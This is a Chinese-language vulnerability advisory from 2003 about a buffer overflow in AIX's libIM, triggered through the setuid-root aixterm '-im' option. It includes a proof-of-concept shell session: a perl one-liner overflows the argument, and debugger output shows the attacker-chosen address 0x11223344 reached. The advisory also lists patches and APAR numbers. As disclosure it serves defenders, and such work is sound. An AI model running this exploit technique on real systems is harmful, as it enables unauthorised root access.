积极预防 及时发现
快速响应 力保恢复
AIX的libIM存在缓冲溢出缺陷 (AIX,补丁)
发布时间:2003-02-17 信息来源:管理员

涉及程序: libIM 描述: AIX的libIM存在缓冲溢出缺陷 详细: AIX是IBM公司发布的一款Unix操作系统,对NLS(National Language Support)提供支持。libIM是AIX系统上NLS所使用的系统数据库。在libIM内存在一个缓冲溢出缺陷,允许攻击者以系统程序的权限调用数据库。攻击者利用\"/usr/lpp/X11/bin/aixterm\"二进制命令调用libIM数据库,并在AIX上通过setuid root缺省安装。 攻击者通过向\"-im\"命令行装载一个大约50字节的字符串,能导致aixterm失效,将允许攻击者以root权限执行任意代码。 AIX4.3.3, 5.1.0和5.2.0版本均受此缺陷影响。 攻击方法: 下列攻击代码将显示\"-im\"命令行能被装载并且造成aixterm失效: $ ls -la /usr/lpp/X11/bin/aixterm - -rwsr-xr-x 1 root system 376384 Mar 18 2001 /usr/lpp/X11/bin/aixterm* $ cp -p /usr/lpp/X11/bin/aixterm test $ ./test -im `perl -e\`print\"A\"x47;print pack(\"l\",0x11223344)\`` 1363-009 aixterm: Cannot open font -dt-interface user-medium-r-normal-l*-*-*-*-*-*-*-*-*. Check path name and permissions. 1363-009 aixterm: Cannot open font - -*-roman-medium-r-normal--8-50-100-100-c-*-ISO8859-1. Check path name and permissions. Illegal instruction (core dumped) $ dbx ./test core Type \`help\` for help. reading symbolic information ...warning: no source compiled with -g warning: Unable to access address 0x41414149 from core Illegal instruction (reserved addressing fault) in . at 0x11223344 ($t1) warning: Unable to access address 0x11223344 from core 0x11223344 (???) warning: Unable to access address 0x11223344 from core ffffffff warning: Unable to access address 0x11223344 from core fnmadd. fr31,fr31,fr31,fr31 (dbx) 解决方案: 临时补丁: AIX 4.3.3, 5.1.0和5.2.0版本可使用下列临时补丁: ftp://aix.software.ibm.com/aix/efixes/security/libIM_efix.tar.Z 官方补丁: IBM将提供下列补丁 APAR number for AIX 4.3.3: IY40307 APAR number for AIX 5.1.0: IY40317 APAR number for AIX 5.2.0: IY40320 附加信息: CAN-2002-0087